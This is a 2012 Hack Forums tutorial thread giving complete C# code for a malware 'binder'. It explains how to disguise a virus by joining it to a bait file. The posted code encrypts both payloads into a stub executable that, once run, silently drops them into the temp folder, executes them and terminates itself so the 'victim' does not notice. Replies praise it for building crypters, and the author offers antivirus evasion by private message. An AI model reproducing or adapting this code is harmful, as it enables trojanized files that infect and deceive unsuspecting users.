

Forum:[Hack Forums](#)

Thread: [\[TUT\]How to make a Binder in C#](#)

fèèl - June 17, 2012, 5:07 am

Hello all, I'll show you how to bind any file together so that you can attach your virus and 'bait' to make a file look legit.

Now you will need to do 2 solutions one for the main Form and one for the Stub.
Before we start any code that gets an error will most likely because you need to add the namespace for it.

Let's start with the Main form.

Add 3 buttons and 2 textBoxes:

2 buttons are for Open File Dialogues and 3rd button is to Bind with the stub.

Thus 2 textBoxes to show the File path of the 2 files that are going to be binded.

Spoiler ([Click to View](#))

[img]http://s14.postimage.org/7uf7iiaq9/Step1.jpg[/img]

Here are some namespaces you will need to add:

Quote:using System.IO;

using System.Security.Cryptography;

Next we code the Encryption.

There are going to be 2 functions: Secure and UnSecure.

Quote:public byte[] Secure(byte[] Data)

```
{
    using (RijndaelManaged SA = new RijndaelManaged())
    {
        SA.IV = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7 };
        SA.Key = new byte[] { 7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1 };

        return SA.CreateEncryptor().TransformFinalBlock(Data, 0, Data.Length);
    }
}
```

public byte[] UnSecure(byte[] Data)

```
{
    using (RijndaelManaged SA = new RijndaelManaged())
    {
        SA.IV = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7 };
        SA.Key = new byte[] { 7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1 };
        return SA.CreateDecryptor().TransformFinalBlock(Data, 0, Data.Length);
    }
}
```

In order to encrypt and decrypt we use a simple pattern of bytes to do this.

This part is very important and you need it to be similar to this or it won't work.

Spoiler ([Click to View](#))

<http://s13.postimage.org/7grno4n1z/Step2.jpg>

Next, we make 2 string variables to get public data from the Open File Dialogs to the Binding Function, which are gonna be the file paths.

```
Quote:string F = null;  
string F2 = null;
```

And then we code a File Dialogs, this part has only two essential parts that you will need, the rest can be all your other fancy codes to make it look and function nicely.

You will need something like this:

```
Quote:private void button1_Click(object sender, EventArgs e)  
{  
    OpenFileDialog ofd = new OpenFileDialog();  
    var _with1 = ofd;  
    _with1.FileName = "";  
    _with1.Title = "Choose a file";  
    _with1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);  
    _with1.Filter = "Any File |*. *";  
    if (_with1.ShowDialog() == System.Windows.Forms.DialogResult.OK)  
    {  
        F = _with1.SafeFileName;  
        textBox1.Text = _with1.FileName;  
    }  
}
```

```
private void button2_Click(object sender, EventArgs e)  
{  
    OpenFileDialog ofd = new OpenFileDialog();  
    var _with2 = ofd;  
    _with2.FileName = "";  
    _with2.Title = "Choose a file";  
    _with2.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);  
    _with2.Filter = "Any File |*. *";  
    if (_with2.ShowDialog() == System.Windows.Forms.DialogResult.OK)  
    {  
        F2 = _with2.SafeFileName;  
        textBox2.Text = _with2.FileName;  
    }  
}
```

One of the essential parts is including the variables F2/F = ofd.SafeFileName so that the string is public and the binder can retrieve that string. The other part is having the Open File Dialog itself, make sure the filter is any file.

Spoiler ([Click to View](#))

<http://s14.postimage.org/mv46dx68h/Step3.jpg>

The last part for coding the Form is binding the File with the Stub, we haven't done the stub yet, so you should end up with 1 error after this part.

In button 3 or your binding button you insert this code block in:

Quote:try

```
{
    SaveFileDialog sfd = new SaveFileDialog();
    var _with1 = sfd;
    _with1.FileName = "";
    _with1.Title = "Save File";
    _with1.Filter = "Application |*.exe";
    _with1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    if (_with1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        string sp = "[SPLITTER]";

        byte[] buffer = Properties.Resources.CStub;

        File.WriteAllBytes(_with1.FileName, buffer);
        byte[] file1 = Secure(File.ReadAllBytes(textBox1.Text));
        byte[] file2 = Secure(File.ReadAllBytes(textBox2.Text));
        File.AppendAllText(_with1.FileName, sp + Convert.ToBase64String(file1) + sp + F + sp +
Convert.ToBase64String(file2) + sp + F2);
        MessageBox.Show("Success");
    }
}
catch (Exception Ex)
{
    MessageBox.Show(Ex.Message);
}
```

Note: It only saves as *.exe file.

All the code does is Open up a save file dialog and then gets an array of bytes from the Stub we will create. (That is where your error should be) Then it uses the bytes from the stub to make an executable file at the path of the save file dialog. Then Encrypting the bytes while binding one file with the function of AppendAllText. The separators are there so that the stub will be able to split the string into a string array and decrypt to know where to drop the files and run them.

However, in some cases you might get errors so I have left the Exception on.

Now that the Main Form is finished, we move on to the Stub.

Make a new Form, and you don't need to add any GUI to it.

Before you start coding functions, we'll need to add some namespaces:

Quote:using System.Diagnostics;

using System.IO;

using System.Security.Cryptography;

Now the stub has only 2 functions and you do not need to make any additional adjustments other than including an extra binded file.

Remember we encrypted the File Names? Well now we decrypt them using this function:

Quote:public byte[] Unsecure(byte[] Data)

```
{
    using (RijndaelManaged SA = new RijndaelManaged())
```

```

{
    SA.IV = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7 };
    SA.Key = new byte[] { 7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1 };
    return SA.CreateDecryptor().TransformFinalBlock(Data, 0, Data.Length);
}
}

```

So that's the decrypting part, the last coding of this tutorial is finally here.

When the stub runs, aka when you binded the files and start the output file, this is what would happen:

Quote:try

```

{
    string TempDir = Path.GetTempPath();
    string source = File.ReadAllText(Application.ExecutablePath);
    string[] stringSeparators = new string[] { "[SPLITTER]" };
    string[] Drop = source.Split(stringSeparators, StringSplitOptions.None);
    byte[] file1 = Unsecure(Convert.FromBase64String(Drop[1]));
    byte[] file2 = Unsecure(Convert.FromBase64String(Drop[3]));
    File.WriteAllBytes(TempDir + Drop[2], file1);
    File.WriteAllBytes(TempDir + Drop[4], file2);
    Process.Start(TempDir + Drop[2]);
    Process.Start(TempDir + Drop[4]);
}
catch
{
    Process.GetCurrentProcess().Kill();
}
Process.GetCurrentProcess().Kill();

```

Always a try and catch statement so the whole thing doesn't screw you over when a victim will find out it's been binded if it goes wrong.

so the first 6 lines are setting the variables and Decrypting the files. If you saw carefully, there was a separator, now it is split so that we get an array with indexes. The byte array it had are now written into the temp directory and a simple Process start is used to run them. Now we obviously don't want the form to show up so as soon as it runs the dropped files it will kill itself. (Yes literally)

Spoiler ([Click to View](#))

<http://s7.postimage.org/udk5il22j/Step4.jpg>

Now all you need to do now is go to your Main Binder Solution and go to the Resources tab.

Spoiler ([Click to View](#))

<http://s16.postimage.org/j46ynjft1/Step5.jpg>

Next you click on add resource and find the EXE version of the Stub, if it's not there you need to build it.

Once included you need to go to that error and replace the CStub to your Stub name in your resources.

And lastly giving me a feedback would help so I can make some future tutorials better :P

Now you're all done ?, have fun and happy father's day!

zapfen - September 16, 2012, 11:34 am

no reply?? why?? Thats an pretty awesome Guide, also for them who whant to make their own Crypter :D

But okey, Thank you very much for Making this Thread, helped me a lot!

EDIT: Hey i have a question, do you know to add a funktion to add an Icon
Thanks in Advance

ibloodqman - September 16, 2012, 11:52 am

this is awesome tut and bookmarked for later!! you should write [tut] in the thread title and that protection of yours i saw in deadlines' crypter..

keep it up!

fèèl - December 11, 2012, 8:32 am

(Sep 16, 2012 11:52 AM)ibloodqman Wrote: [\[CITE\]](#) this is awesome tut and bookmarked for later!!
you should write [tut] in the thread title and that protection of yours i saw in deadlines' crypter..

keep it up!Alright thank you, I'll do that now :P

The protection is now detectable but you can still encrypt bytes and make it become undetected... If you're interested then you can PM.

Florin Salam - December 12, 2012, 1:19 am

Thank you for this tutorial.

Keep it up